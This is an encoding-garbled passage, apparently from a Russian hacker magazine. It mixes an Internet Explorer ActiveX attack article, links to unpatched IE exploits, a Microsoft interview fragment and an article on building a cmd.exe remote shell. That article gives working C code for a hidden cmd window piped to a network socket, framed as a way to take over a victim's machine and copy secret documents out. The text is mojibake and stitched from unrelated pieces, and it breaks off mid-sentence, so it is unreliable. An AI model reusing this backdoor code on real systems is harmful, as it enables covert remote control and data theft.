óðîâåíü áåçîïàñíîñòè, ïðåäóïðåæ-
äåíèå äàæå íå ïîÿâëÿåòñÿ. Åñëè
óäàñòñÿ íàéòè ýêñïëîèò äëÿ cross-
zone scripting, ìîæíî çàïóñòèòü
ActiveX â çîíå "Ìîé êîìïüþòåð", è
òîãäà ïîëüçîâàòåëþ âîîáùå íå çà-
äàäóò íèêàêèõ âîïðîñîâ î áåçîïàñ-
íîñòè. Õîòÿ â ýòîì ñëó÷àå ëîãè÷íåå
è ïðîùå çàïóñêàòü îáû÷íûé
exe�øíèê ÷åðåç óÿçâèìîñòü MHT
Redirection è íå âîçèòüñÿ ñ ActiveX.

ÕÎ×ÅØÜ ÌÈÐÀ � ÃÎÒÎÂÜÑß
Ê ÂÎÉÍÅ

Êàê çàùèòèòüñÿ îò òàêèõ àòàê?
Ïåðåéòè íà äðóãèå áðàóçåðû? Íå âû-
õîä - â Opera òîæå ÷àñòåíüêî íàõî-
äÿò áàãè, õîòÿ, íàäî ïðèçíàòü, íîð-
âåæöû èñïðàâëÿþò èõ áûñòðåå, ÷åì
Microsoft. Ñàìûé äåéñòâåííûé ñïî-
ñîá - îòêëþ÷èòü Active-X. Â ñâîéñòâàõ
IE, çàêëàäêà "Securuty", êíîïêà
"Custom Level", ñòîèò ïîñòàâèòü âû-
ñîêèé óðîâåíü äëÿ âñåõ çîí (êîìïüþ-
òåð, èíòåðíåò, ëîêàëüíàÿ ñåòü). Çîíà
"Ìîé êîìïüþòåð" ïî óìîë÷àíèþ
ñêðûòà. ×òîáû ïîêàçàòü åå, íóæíî
èçìåíèòü ïàðàìåòð HKEY_CUR-
RENT_USER\Software\Microsoft\Wind
ows\CurrentVersion\Internet
Settings\Zones\(íîìåð çîíû)\Flags.
Ñáðîñü â ýòîì ÷èñëå "øåñòíàäöàòå-
ðè÷íûé áèò" 0x20. Íàïðèìåð, ó ìåíÿ
ñòîèò 0x21, çíà÷èò, íóæíî îñòàâèòü
òîëüêî åäèíèöó. E
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Ñòàðûé íå
âñåãäà îçíà-
÷àåò íåýô-
ôåêòèâíûé.
Îáðàòè âíè-
ìàíèå íà
æàëîáû
ïîëüçîâàòå-
ëåé â öåíò-
ðàõ òåõíè-
÷åñêîé ïîä-
äåðæêè :).

Ýëåêòðîí-
íàÿ ïîäïèñü
íå ãàðàíòè-
ðóåò áåçî-
ïàñíîñòè
ïðîäóêòà ;).

W W W

http://www.securitylab.ru/?id=40822 - óÿçâèìîñòü, êîòîðàÿ ïðè
ïåðåïîëíåíèè ïàìÿòè òåîðåòè÷åñêè ïîçâîëÿåò âûïîëíèòü ActiveX
áåç ïîäïèñè. 

http://continue.to/trie - ñïèñîê íå çàêðûòûõ ïàò÷àìè óÿçâèìîñ-
òåé â IE ñî ññûëêàìè íà ýêñïëîèòû. 

http://www.guninski.com/signedactivex2.html - ýòà óÿçâèìîñòü
ïîçâîëÿåò çàãðóæàòü ñòàðûå âåðñèè ñèñòåìíûõ DLL ñ áàãàìè, ê êî-
òîðûì ïðèìåíèìû äàâíî èçâåñòíûå ýêñïëîèòû.

Èñïîëüçîâàíèå ïåðåâåäåííîé â ñòàòüå èíôîðìà-
öèè î ïîääåëêå ýëåêòðîííûõ ïîäïèñåé ñîâåðøåííî
ïðîòèâîçàêîííî. Äàííàÿ èíôîðìàöèÿ ïóáëèêóåòñÿ
èñêëþ÷èòåëüíî â îçíàêîìèòåëüíûõ öåëÿõ. Ñòàòüÿ áû-
ëà íàïèñàíà ñ öåëüþ ïîêàçàòü óÿçâèìûå ìåñòà IE è
ïðåäóïðåäèòü ïîëüçîâàòåëåé è ïðîèçâîäèòåëÿ, à íå
äëÿ ïîääåðæêè ïðåñòóïíèêîâ. Çà èñïîëüçîâàíèå èí-
ôîðìàöèè â ïðîòèâîçàêîííûõ öåëÿõ àâòîð è ðåäàêöèÿ
îòâåòñòâåííîñòè íå íåñóò!



Êðèñ Êàñïåðñêè aka ìûùúõ

Ñ èñòåìû óäàëåííîãî àäìèíèñòðèðîâàíèÿ ïîëüçóþòñÿ îãðîìíîé ïîïóëÿðíîñòüþ. Ñâåæèå âåðñèè èäóò íàðàñõâàò, ïîñêîëüêó
ïðåæíèå óæå äàâíî ëîâÿòñÿ àíòèâèðóñàìè è ñòàíîâÿòñÿ íåàêòóàëüíû. Îäíàêî íàñòîÿùèé õàêåð íå ìîæåò ïîçâîëèòü ñå-

áå çàâèñåòü îò ñòîðîííèõ ðàçðàáîò÷èêîâ, è âåñü íåîáõîäèìûé èíñòðóìåíòàðèé îí äîëæåí óìåòü ñîçäàâàòü ñàìîñòîÿòåëüíî.

CMD-SHELL ÍÀ
ÑËÓÆÁÅ Ó ÕÀÊÅÐÀ
ÑÅÊÐÅÒÛ ÊÎÌÀÍÄÍÎÃÎ ÈÍÒÅÐÏÐÅÒÀÒÎÐÀ

ïîëñîòíè ëåò íàçàä,
êîãäà î ãðàôè÷åñêèõ
ñðåäàõ íèêòî è íå ñëû-
øàë, à ìîíèòîð, ñïî-
ñîáíûé îòîáðàæàòü áî-

ëåå ÷åòûðåõ öâåòîâ, âñå åùå îñòàâàë-
ñÿ ïðåäìåòîì ðîñêîøè, ðîëü ïîñðåä-
íèêà ìåæäó ÷åëîâåêîì è ìàøèíîé ëî-
æèëàñü íà ïëå÷è êîìàíäíîãî èíòåðï-
ðåòàòîðà. ×òî òàêîå êîìàíäíûé èíòå-
ðïðåòàòîð? Ýòî ÷åðíûé ýêðàí è ìåð-
öàþùèé êóðñîð. Çà êàæóùåéñÿ óíû-
ëîñòüþ è àñêåòè÷íîñòüþ òåðìèíàëü-
íûõ àïàðòàìåíòîâ (äî öàðñòâåííîé
ðîñêîøè ãðàôè÷åñêèõ èíòåðôåéñîâ
èì äåéñòâèòåëüíî äàëåêî) ñêðûâàåòñÿ
÷ðåçâû÷àéíî ìîùíûé è ê òîìó æå
íåòðåáîâàòåëüíûé ê ðåñóðñàì èíñòðó-
ìåíò.

Êîìàíäíûé èíòåðïðåòàòîð îïèðàåò-
ñÿ íà ÿçûê (êîòîðûé, êàê èçâåñòíî, îï-
ðåäåëÿåò ìûøëåíèå), à ãðàôè÷åñêèå
îáîëî÷êè � íà òûêàòåëüíûé èíñòèíêò,
äåéñòâóþùèé âñåãäà ïî îäíîé è òîé
æå ñõåìå. Êîìàíäíûé èíòåðïðåòàòîð
ìîæåò ÷èòàòü ââîä êàê ñ êëàâèàòóðû,
òàê è èç ôàéëà. Ãðàôè÷åñêàÿ îáîëî÷-
êà æå âî âñåì ïîëàãàåòñÿ íà ìûøü.
Ñðàâíåíèå ìîæíî ïðîäîëæàòü áåñêî-
íå÷íî, íî ñàì ôàêò íàëè÷èÿ òåðìè-
íàëüíûõ ïðèëîæåíèé â ýïîõó çàñèëüÿ
àëÿïîâàòûõ èêîí÷àòûõ èíòåðôåéñîâ
óæå î ìíîãîì ãîâîðèò!

Ñèëüíîé ñòîðîíîé UNIX-ñèñòåì áûëà
è îñòàåòñÿ õîðîøî ïðîäóìàííàÿ êîìà-
íäíàÿ ñòðîêà. Ñ åå ïîìîùüþ ìîæíî
ñäåëàòü àáñîëþòíî âñå, ÷òî òîëüêî
âîçìîæíî, à ïðè æåëàíèè � è ÷àñòü
íåâîçìîæíîãî. Ïðè÷åì ìåæäó ëîêàëü-
íîé è óäàëåííîé êîíñîëüþ íåò íèêà-
êîé ïðèíöèïèàëüíîé ðàçíèöû. Êîìà-
íäíûé èíòåðïðåòàòîð ñ îäèíàêîâûì
àïïåòèòîì ïîãëîùàåò ñèìâîëû, êàê
íàáðàííûå íà êëàâèàòóðå, òàê è ïîñòó-
ïàþùèå â êîìïüþòåð ïî ñåòè (ïðàâäà,
ðåãèñòðàöèÿ root'à ñ óäàëåííîé êîíñî-
ëè ÷àùå âñåãî çàïðåùåíà).

Windows NT â ýòîì ñìûñëå íàìíîãî
áîëåå óùåðáíàÿ ñèñòåìà. Øòàòíûé
èíòåðïðåòàòîð ìîæíî íàçâàòü êîìà-
íäíûì ñ î÷åíü áîëüøîé íàòÿæêîé.
Ëèøü íåêîòîðûå èç íàñòðîåê ñèñòåìû
äîïóñêàþò âîçìîæíîñòü óäàëåííîãî
óïðàâëåíèÿ, à îñòàëüíûå ïðèõîäèòñÿ

íàñòðàèâàòü ëîêàëüíî, ìûøüþ. È õîòÿ
ÿäðî ñèñòåìû íå èìååò ê ýòîìó íèêà-
êîãî îòíîøåíèÿ (ïðè æåëàíèè ìîæíî
ñàìîñòîÿòåëüíî ðåàëèçîâàòü êîí-
ñîëüíûå âåðñèè âñåõ êîíôèãóðàöèîí-
íûõ óòèëèò), îòñóòñòâèå èõ â øòàòíîì
êîìïëåêòå ïîñòàâêè ñèëüíî îãîð÷àåò.
Ê ñ÷àñòüþ, íà÷èíàÿ ñ Windows 2000
êîìàíäíûé èíòåðïðåòàòîð áûë ñóùå-
ñòâåííî ïåðåðàáîòàí, ïîÿâèëîñü ìíî-
æåñòâî íîâûõ êîíñîëüíûõ óòèëèò, áî-
ëåå èëè ìåíåå ïîëíî ïîêðûâàþùèõ
ïîòðåáíîñòè óäàëåííîãî óïðàâëåíèÿ.

ÝÊÑÏËÓÀÒÀÖÈß
ÝÊÑÏËÓÀÒÀÒÎÐÎÂ!

×òî ìîæíî ñäåëàòü ñ óäàëåííîé
ñèñòåìîé âåðîÿòíîãî ïðîòèâíèêà? Åñ-
òåñòâåííî, çàõâàòèòü! Îáû÷íî äëÿ
ýòîé öåëè çàñûëàåòñÿ ñèñòåìà óäà-
ëåííîãî àäìèíèñòðèðîâàíèÿ, ïðåäñ-
òàâëÿþùàÿ ñîáîé áîëåå èëè ìåíåå
ïðîäâèíóòûé êîìàíäíûé èíòåðïðåòà-
òîð. Íî âåäü íà óäàëåííîé ìàøèíå
óæå åñòü êîìàíäíûé èíòåðïðåòàòîð!
Äëÿ Windows 2000/XP � ýòî

cmd.exe, è âñå, ÷òî íàì íóæíî ñäå-
ëàòü, çàïóñòèòü åãî íà âûïîëíåíèå è
îðãàíèçîâàòü îäíî-, à ëó÷øå äâóõñòî-
ðîííèé êàíàë ñâÿçè.

Ãðóáî ãîâîðÿ, êîìàíäíûé èíòåðïðå-
òàòîð óïàêîâûâàåòñÿ â ñâîåîáðàçíûé
"êîíâåðò", òàêæå íàçûâàåìûé "äèñ-
ïåò÷åð". Â çàäà÷ó äèñïåò÷åðà âõîäèò
ïîëó÷åíèå âõîäÿùèõ êîìàíä (îòïðàâ-
ëåííûõ âçëîìùèêîì), ïåðåäà÷à èõ êî-
ìàíäíîìó èíòåðïðåòàòîðó íà âûïîë-
íåíèå, ïåðåõâàò ðåçóëüòàòà è âîçðà-
ùåíèå åãî õàêåðó.

Ïðîñòåéøèå äèñïåò÷åðû ðàáîòàþò
òîëüêî íà ïðèåì, âûíóæäàÿ õàêåðà
ëîìàòü ñèñòåìó âñëåïóþ. Âïðî÷åì,
âñåãäà ìîæíî ïåðåíàïðàâèòü ñòàíäà-
ðòíûé âûâîä â êàêîé-íèáóäü ïóáëè÷-
íûé ôàéë. Ãëàâíîå äîñòîèíñòâî òàêî-
ãî ïðèåìà â åãî ïðîñòîòå. Èñõîäíûé
òåêñò äèñïåò÷åðà ñâîáîäíî óêëàäûâà-
åòñÿ â äåñÿòîê ñòðîê êîäà, êîìïèëèðó-
åìûõ â ñ÷èòàííîå êîëè÷åñòâî ìàøèí-
íûõ êîìàíä. À êîìïàêòíîñòü shell-êî-
äà äëÿ áîëüøèíñòâà ïåðåïîëíÿþ-
ùèõñÿ áóôåðîâ âåñüìà àêòóàëüíà.
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Âíåøíèé âèä êîìàíäíîãî èíòåðïðåòàòîðà Windows 2000

CMD-SHELL ÍÀ ÑËÓÆÁÅ Ó ÕÀÊÅÐÀ16 ÀÒÀÊÀ

FADE IN ON: COMPUTER SCREEN.
So close it has no boundaries. A blinking cursor pulses in the electric
darkness like a heart coursing with phosphorous light, burning
beneath the derma of black-neon glass�

The Matrix. Larry and Andy Wachowski



Êîíêðåòíûé ïðèìåð ðåàëèçàöèè ìî-
æåò âûãëÿäåòü òàê:

// ìîòàåì öèêë, ïðèíèìàÿ ñ ñîêåòà êî-
ìàíäû

// ïîêà åñòü ÷òî ïðèíèìàòü
while(1)
{
//ïðèíèìàåì î÷åðåäíóþ ïîðöèþ äàííûõ
a = recv(csocket, &buf[p], MAX_BUF_SIZE -

p - 1, 0);
//åñëè ñîåäèíåíèå íåîæèäàííî çàêðû-

ëîñü, âûõîäèì èç öèêëà
if (a < 1) break;
// óâåëè÷èâàåì ñ÷åò÷èê êîëè÷åñòâà ïðè-

íÿòûõ ñèìâîëîâ
// è âíåäðÿåì íà êîíåö ñòðîêè çàâåðøà-

þùèé íîëü
p += a; buf[p] = 0;
// ñòðîêà ñîäåðæèò ñèìâîë ïåðåíîñà

ñòðîêè?
if ((ch = strpbrk(buf, xEOL)) != 0)
// äà, ñîäåðæèò
// îòñåêàåì ñèìâîë ïåðåíîñà è î÷èùàåì

ñ÷åò÷èê
*ch = 0; p = 0;
// åñëè ñòðîêà íå ïóñòà, ïåðåäàåì åå êî-

ìàíäíîìó
// èíòåðïðåòàòîðó íà âûïîëíåíèå
if (strlen(buf))
{
sprintf(cmd, "%s%s", SHELL, buf);

exec(cmd);
} else break; // åñëè ýòî ïóñòàÿ ñòðîêà -

âûõîäèì
}
}

Äèñïåò÷åð ìîæåò ðàáîòàòü ÷åðåç
ëþáîé âûáðàííûé ïîðò (íàïðèìåð,
6669), ïðè÷åì ñåðâåðíóþ ñòîðîíó

ëó÷øå ðàçìåùàòü íà êîìïüþòåðå
âçëîìùèêà. Äèñïåò÷åð, îòêðûâàþùèé
íîâûé ïîðò íà êîìïüþòåðå æåðòâû,
âî-ïåðâûõ, ñëèøêîì çàìåòåí, à, âî-
âòîðûõ, áîëüøèíñòâî àäìèíèñòðàòî-
ðîâ áëîêèðóþò âõîäÿùèå ñîåäèíåíèÿ
íà âñå íåïóáëè÷íûå óçëû. Àòàêîâàòü
æå ïóáëè÷íûé óçåë íèêàêîãî ñìûñëà
íåò � â äåâÿòè èç äåñÿòè ñëó÷àåâ îí
ðàñïîëîæåí â DMZ-çîíå (çîíå ñîïðè-
êîñíîâåíèÿ ñ èíòåðíåòîì), íàäåæíî
èçîëèðîâàííîé îò êîðïîðàòèâíîé ëî-
êàëüíîé ñåòè.

Ïîïàâ íà àòàêóåìûé êîìïüþòåð, ìû
ìîæåì, íàïðèìåð, ïîñðåäñòâîì êîìàí-
äû XCOPY ñêîïèðîâàòü ñåêðåòíûå äî-
êóìåíòû â îáùåäîñòóïíóþ ïàïêó, ñêà-
÷èâàÿ èõ îòòóäà îáû÷íûì ïóòåì (ñïè-
ñîê èìåþùèõñÿ ïàïîê ïîìîæåò âûÿñ-
íèòü êîìàíäà dir). È âñå áû íè÷åãî, äà
âîò "ñëåïîé" íàáîð óæ ñëèøêîì íàï-
ðÿãàåò. Õîòåëîñü áû äîðàáîòàòü äèñ-
ïåò÷åð òàê, ÷òîáû âèäåòü ðåçóëüòàò
âûïîëíåíèÿ êîìàíä íà ñâîåì ýêðàíå.

Ïî ñåòè õîäèò ñîâåðøåííî ÷óäî-
âèùíûé êîä, ïûòàþùèéñÿ çàñóíóòü
ñòàíäàðòíûé ââîä/âûâîä èíòåðïðå-
òàòîðà â äåñêðèïòîðû ñîêåòîâ è íà-
äåþùèéñÿ, ÷òî ýòîò ïðèåì îäíàæäû
ìîæåò ñðàáîòàòü. Îäíàêî ïåðâàÿ æå
ïðîâåðêà óáåæäàåò íàñ â îáðàòíîì.
Ñîêåòû � ýòî íå äåñêðèïòîðû, è ñìå-
øèâàòü èõ â îäíó êó÷ó íåëüçÿ. ×òîáû
äèñïåò÷åð ðåàëüíî çàðàáîòàë, íåîá-
õîäèìî ñâÿçàòü äåñêðèïòîðû ñ ïàé-
ïàìè (îò àíãë. «pipe» � òðóáû), à ñà-
ìè ïàéïû � ñ äåñêðèïòîðàìè. Ïðè÷åì
íàïðÿìóþ ïàéïû ñ äåñêðèïòîðàìè
íåñîåäèíèìû, ïîñêîëüêó èñïîâåäóþò
ðàçëè÷íûå êîíöåïöèè ââîäà/âûâî-
äà: ïàéïû èñïîëüçóþò ôóíêöèè

ReadFile/WriteFile, à ñîêåòû �
recv/send, ÷òî ñóùåñòâåííî óñëîæíÿ-
åò ðåàëèçàöèþ äèñïåò÷åðà.

Êîððåêòíî íàïèñàííûé shell òðåáóåò
ñîçäàíèÿ êàê ìèíèìóì äâóõ ïàéïîâ -
îäèí áóäåò îáñëóæèâàòü ñòàíäàðòíûé
ââîä, ñîîòâåòñòâóþùèé äåñêðèïòîðó
hStdInput, äðóãîé - ñòàíäàðòíûé âû-
âîä, ñîîòâåòñòâóþùèé äåñêðèïòîðàì
hStdOutput è hStdError. Äåñêðèïòîðû
ñàìèõ ïàéïîâ îáÿçàòåëüíî äîëæíû
áûòü íàñëåäóåìûìè, â ïðîòèâíîì ñëó-
÷àå ïîðîæäåííûé ïðîöåññ ïðîñòî íå
ñìîæåò äî íèõ "äîòÿíóòüñÿ". À êàê
ñäåëàòü èõ íàñëåäóåìûìè? Äà î÷åíü
ïðîñòî - âñåãî ëèøü âçâåñòè ôëàã
bInheritHandle â ñîñòîÿíèå TRUE, ïå-
ðåäàâàÿ åãî ôóíêöèè CreatePipe
âìåñòå ñî ñòðóêòóðîé
LPSECURITY_ATTRIBUTES, èíèöèàëè-
çèðîâàííîé âïîëíå åñòåñòâåííûì îá-
ðàçîì.

Îñòàåòñÿ ïîäãîòîâèòü ñòðóêòóðó
STARTUPINFO, ñîïîñòàâèâ äåñêðèïòî-
ðû ñòàíäàðòíîãî ââîäà/âûâîäà íàñëå-
äóåìûì êàíàëàì, è íè â êîåì ñëó÷àå
íå çàáûòü âçâåñòè ôëàã
STARTF_USESTDHANDLES, èíà÷å
ôàêò ïåðåíàçíà÷åíèÿ ñòàíäàðòíûõ
äåñêðèïòîðîâ áóäåò íàãëûì îáðàçîì
ïðîèãíîðèðîâàí.

Îäíàêî ýòî åùå íå âñå, è ñàìîå èí-
òåðåñíîå íàñ æäåò âïåðåäè! Äëÿ ñâÿ-
çûâàíèÿ êàíàëîâ ñ ñîêåòîì óäàëåííî-
ãî òåðìèíàëà íàì ïîòðåáóåòñÿ ðåàëè-
çîâàòü ñïåöèàëüíûé ðåçèäåíòíûé
äèñïåò÷åð, ñ÷èòûâàþùèé ïîñòóïàþ-
ùèå äàííûå è ïåðåíàïðàâëÿþùèé èõ
â ñîêåò èëè êàíàë. Âñÿ ñëîæíîñòü â
òîì, ÷òî ïðîâåðêà íàëè÷èÿ äàííûõ â
ñîêåòå (êàíàëå) äîëæíà áûòü íåáëîêè-
ðóåìîé, â ïðîòèâíîì ñëó÷àå íàì ïîò-
ðåáóþòñÿ äâà äèñïåò÷åðà, êàæäûé èç
êîòîðûõ áóäåò âûïîëíÿòüñÿ â "ñâîåì"
ïîòîêå, ÷òî, ñîãëàñèñü, ãðîìîçäêî è
íåýëåãàíòíî.

Îáðàòèâøèñü ê Platform SDK, ìû
íàéäåì äâå ïîëåçíûõ ôóíêöèè:
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CMD â
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ðóêàõ �
ñòðàøíàÿ
ñèëà ;).

XXS: Êàêèå äîïîëíèòåëüíûå ïðîãðàììû è ìåðû èìååò ñìûñë èñ-
ïîëüçîâàòü äëÿ ïîâûøåíèÿ áåçîïàñíîñòè Windows? ×òî áû âû ïî-
ñîâåòîâàëè ïîëüçîâàòåëþ äëÿ îáåñïå÷åíèÿ ñâîåé áåçîïàñíîñòè â
èíòåðíåòå (êîíêðåòíûå äåéñòâèÿ, ÏÎ, ïàò÷è)?

MS: Ïåðâîå, ÷òî ñòîèò ñäåëàòü, � óñòàíîâèòü ïàêåò îáíîâëåíèÿ
Service Pack 2 äëÿ Windows XP. Äëÿ íîðìàëüíîé ïîâñåäíåâíîé ðà-
áîòû Microsoft ñîâåòóåò ñîáëþäàòü òðè øàãà êîìïüþòåðíîé «ãèãèå-
íû»: ñâîåâðåìåííî óñòàíàâëèâàòü îáíîâëåíèÿ áåçîïàñíîñòè, èñ-
ïîëüçîâàòü ìåæñåòåâîé ýêðàí Windows èëè òðåòüèõ ôèðì, èñïîëü-
çîâàòü àíòèâèðóñíîå ÏÎ ñ îáíîâëåííûìè àíòèâèðóñíûìè áàçàìè.

XXS: Êàêèå íàøóìåâøèå âçëîìû äîñòàâèëè ìàññó íåóäîáñòâ êîì-
ïàíèè? Â ÷åì áûëà èõ ïðè÷èíà è ñóòü ðåàëèçàöèè? 

MS: Íàñ áîëüøå âñåãî âîëíóþò íåóäîáñòâà íàøèõ çàêàç÷èêîâ, è
ìû ïðèêëàäûâàåì ìàññó óñèëèé äëÿ îáëåã÷åíèÿ ïðîöåäóð óñòàíîâ-
êè èñïðàâëåíèé. Microsoft â Ðîññèè è ñòðàíàõ ÑÍÃ ïðîâîäèò ìàññî-
âîå îáó÷åíèå IT-ñïåöèàëèñòîâ ïî âîïðîñàì áåçîïàñíîñòè, è ìû íà-
äååìñÿ, ÷òî ýòè çíàíèÿ ïîìîãóò íàøèì çàêàç÷èêàì îáåçîïàñèòü èõ
èíôðàñòðóêòóðó è èçáåæàòü ïðîáëåì ñ áåçîïàñíîñòüþ â áóäóùåì.
Ïîñëåäíèå èíöèäåíòû ñâÿçàíû ñ íåñâîåâðåìåííîé óñòàíîâêîé íå-
îáõîäèìûõ èñïðàâëåíèé è c íåèñïîëüçîâàíèåì ìåòîäèê áåçîïàñ-
íîé ðàáîòû. Àòàêè áûëè ðåàëèçîâàíû ïî îïóáëèêîâàííûì óÿçâè-
ìîñòÿì â êîìïîíåíòàõ îïåðàöèîííîé ñèñòåìû è ýêñïëóàòèðîâàëè
äàííûå óÿçâèìîñòè íà òåõ ñèñòåìàõ, ãäå íå áûëè óñòàíîâëåíû âû-
ïóùåííûå èñïðàâëåíèÿ.

ÓÌÍÛÅ ÑÎÂÅÒÛ ÎÒ MICROSOFT

Ðåäàêòèðîâàíèå ïåðåìåííîé îêðóæåíèÿ COMSPEC, ñîäåð-
æàùåé ïóòü ê êîìàíäíîìó èíòåðïðåòàòîðó



PeerkNamePipe è ioctlsocket. Ïåðâàÿ
îòâå÷àåò çà íåáëîêèðóåìîå èçìåðå-
íèå "ãëóáèíû" êàíàëà, à âòîðàÿ îáñëó-
æèâàåò ñîêåòû. Òåïåðü äèñïåò÷åðèçà-
öèÿ ââîäà/âûâîäà ñòàíîâèòñÿ òðèâè-
àëüíîé.

// Çàïîëíÿåì ïîëÿ ñòðóêòóðû
SECURITY_ATTRIBUTES

// (ïîçæå îíà áóäåò ïåðåäàíà ôóíêöèè
CreateProcess) 

// ñåêðåòíîñòü íå òðåáóåòñÿ
sa.lpSecurityDescriptor = NULL;
// äëèíà ñòðóêòóðû SECURITY_ATTRIBUTES
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
// äî÷åðíèé ïðîöåññ íàñëåäóåò ìàòåðè-

íñêèå îáðàáîò÷èêè 
sa.bInheritHandle = TRUE;
// ñîçäàåì ïàéïû, ÷åðåç êîòîðûå âïîñ-

ëåäñòâèè áóäåò òå÷ü âåñü ââîä/âûâîä
if (!CreatePipe(&cstdin, &wstdin, &sa, 0))

return -1;
if (!CreatePipe(&rstdout, &cstdout, &sa, 0))

return -1;
// ñ÷èòûâàåì ñîñòîÿíèå òåêóùåé êîíñîëè
GetStartupInfo(&si);
// ãîâîðèì, êàêèå èìåííî àòðèáóòû ìû

áóäåò èçìåíÿòü
si.dwFlags = STARTF_USESTD-

HANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;// ïðÿ÷åì îê-

íî îò ïîñòîðîííåãî âçãëÿäà
si.hStdOutput = cstdout;// íàïðàâëÿåì

ñòàíäàðòíûé âûâîä â ïàéï
si.hStdError = cstdout;// íàïðàâëÿåì

ñòàíäàðòíûé âûâîä îá îøèáêàõ â ïàéï
si.hStdInput = cstdin; // íàïðàâëÿåì ñòàí-

äàðòíûé ââîä â ïàéï
// ñîçäàåì íîâóþ êîíñîëü ñî ñêðûòûì îê-

íîì, ââîä/âûâîä êîòîðîé ñâÿçàí ñ ïàéïàìè
if (!CreateProcess(0, SHELL, 0, 0, TRUE, CRE-

ATE_NEW_CONSOLE, 0,0,&si,&pi)) return -1;
// ìîòàåì öèêë, ïîêà îêíî íå áóäåò çàê-

ðûòî
while(GetExitCodeProcess(pi.hProcess,&fex

it) && (fexit == STILL_ACTIVE))
{
// ïðîâåðÿåì íàëè÷èå äàííûõ â ïàéïå
if (PeekNamedPipe(rstdout, buf, 1, &N,

&total, 0) && N)
{
// ÷èòàåì äàííûå èç ïàéïà è ïåðåäàåì

èõ â ñîêåò
for (a = 0; a < total; a += MAX_BUF_SIZE)
{

ReadFile(rstdout, buf, MAX_BUF_SIZE, &N, 0);
send(csocket, buf, N, 0);
}
}
// ïðîâåðÿåì íàëè÷èå äàííûõ â ñîêåòå
if (!ioctlsocket(csocket, FIONREAD , &N) && N)
{
// ÷èòàåì äàííûå èç ñîêåòà
recv(csocket, buf, 1, 0);
// êîððåêòèðóåì ôîðìàò ïåðåâîäà ñòðî-

êè èç UNIX'à â MS-DOS
if (*buf == '\x0A') WriteFile(wstdin, "\x0D",

1, &N, 0);
// çàïèñûâàåì äàííûå â ïàéï
WriteFile(wstdin, buf, 1, &N, 0);
}
// îòäàåì îñòàòîê ïðîöåññîðíîãî âðåìå-

íè îñòàëüíûì ïîòîêàì ñèñòåìû
Sleep(1);
}

Òåïåðü ìû ìîæåì âûïîëíÿòü íà àòà-
êóåìîì óçëå ðàçëè÷íûå êîíñîëüíûå
ïðîãðàììû òàê, áóäòî áû îíè áûëè çà-
ïóùåíû íà íàøåé ìàøèíå. Òîëüêî íå
ïûòàéñÿ çàïóñêàòü FAR èëè ïîäîáíûå
åìó ïðèëîæåíèÿ, èñïîëüçóþùèå
ôóíêöèþ WriteConsole äëÿ âûâîäà èí-
ôîðìàöèè íà ýêðàí. Íàø äèñïåò÷åð
ïåðåõâàòèòü åå íå â ñîñòîÿíèè!

ÊÎÌÀÍÄÛ ÕÀÊÅÐÑÊÎÃÎ 
ÁÀÃÀÆÀ

Êàêîé æå êîìàíäíûé èíòåðïðåòà-
òîð îáõîäèòñÿ áåç êîìàíä? Íèæå ïå-
ðå÷èñëåíû íàèáîëåå ïîïóëÿðíûå â
õàêåðñêîé ñðåäå êîìàíäû è êîíñîëü-
íûå óòèëèòû, âûçûâàåìûå èç êîìàíä-
íîãî èíòåðïðåòàòîðà, ñíàáæåííûå
ïîäðîáíûìè êîììåíòàðèÿìè. Çà äî-
ïîëíèòåëüíîé èíôîðìàöèåé ìîæíî
îáðàòèòüñÿ, êàê íè ñòðàííî, ê ñïðàâî÷-
íîé ñèñòåìå Windows, ëèáî ïðîñòî çà-
ïóñòèâ ôàéë cmd.exe ñ êëþ÷îì /.

ASSOC
Ïðè çàïóñêå áåç ïàðàìåòðîâ âûâî-

äèò ñïèñîê çàðåãèñòðèðîâàííûõ òèïîâ
ôàéëîâ è àññîöèèðîâàííûõ ñ íèìè
òèïîâ ïðèëîæåíèé, ÷òî ïîçâîëÿåò âû-
ÿñíèòü, êàêèå âîîáùå ïðèëîæåíèÿ íà
äàííîì êîìïüþòåðå åñòü. Òåîðåòè÷åñ-
êè ýòó êîìàíäó ìîæíî èñïîëüçîâàòü
äëÿ ïîäìåíû èëè óäàëåíèÿ àññîöèà-
öèé, îäíàêî ÷åðåç íåïîñðåäñòâåííîå

îáðàùåíèå ê ðååñòðó ýòî ñäåëàòü íàì-
íîãî óäîáíåå.

AT
Ïîçâîëÿåò çàïóñêàòü ïðèëîæåíèÿ

ïî ðàñïèñàíèþ (â òîì ÷èñëå è íà ñî-
ñåäíèõ ìàøèíàõ ëîêàëüíîé ñåòè).
Íóæäàåòñÿ â ïðàâàõ àäìèíèñòðàòîðà
è ñëóæáå ïëàíèðîâùèêà. Íè òîãî, íè
äðóãîãî â ðàñïîðÿæåíèè àòàêóþùåãî
îáû÷íî íå îêàçûâàåòñÿ, óâû. 

CACLS
Óïðàâëÿåò ïðàâàìè äîñòóïà ê ôàé-

ëàì è êàòàëîãàì, ïåðå÷èñëÿÿ èìåíà
âñåõ ïîëüçîâàòåëåé, èìåþùèõ äîñòóï
ê äàííîìó ôàéëó (ïàïêå), è ïîçâîëÿåò
èõ èçìåíèòü. Åñòåñòâåííî, ìåíåå ïðè-
âèëåãèðîâàííûå ïîëüçîâàòåëè íå ìî-
ãóò âîçäåéñòâîâàòü íà áîëåå ïðèâèëå-
ãèðîâàííûõ, ÷òî ñóùåñòâåííî îãðàíè-
÷èâàåò âîçìîæíîñòè äàííîé êîìàíäû,
íî îòíþäü íå äåëàåò åå áåñïîëåçíîé.

CALL
Âûçûâàåò îäèí ïàêåòíûé ôàéë èç

äðóãîãî, ïðè íåîáõîäèìîñòè ïåðåäà-
âàÿ åìó îäèí èëè íåñêîëüêî àðãóìåí-
òîâ (íàïðèìåð, call cmd_file.bat "hello,
world!"). Â êà÷åñòâå ðàçäåëèòåëÿ àðãó-
ìåíòîâ èñïîëüçóåòñÿ ñèìâîë "ïðî-
áåë". Åñëè íåîáõîäèìî ïåðåäàòü àðãó-
ìåíò ñ ñèìâîëîì ïðîáåëà, åãî ñëåäóåò
çàêëþ÷èòü â êàâû÷êè.

×àñòàÿ îøèáêà íà÷èíàþùèõ � âû-
çîâ ïàêåòíîãî ôàéëà áåç êîìàíäû
CALL (íàïðèìåð, cmd_file.bat "hello,
world!"). Äî÷åðíèé ôàéë äåéñòâèòåëü-
íî âûçûâàåòñÿ, íî óïðàâëåíèå â ìàòå-
ðèíñêèé óæå íå âîçâðàùàåòñÿ, ïîñ-
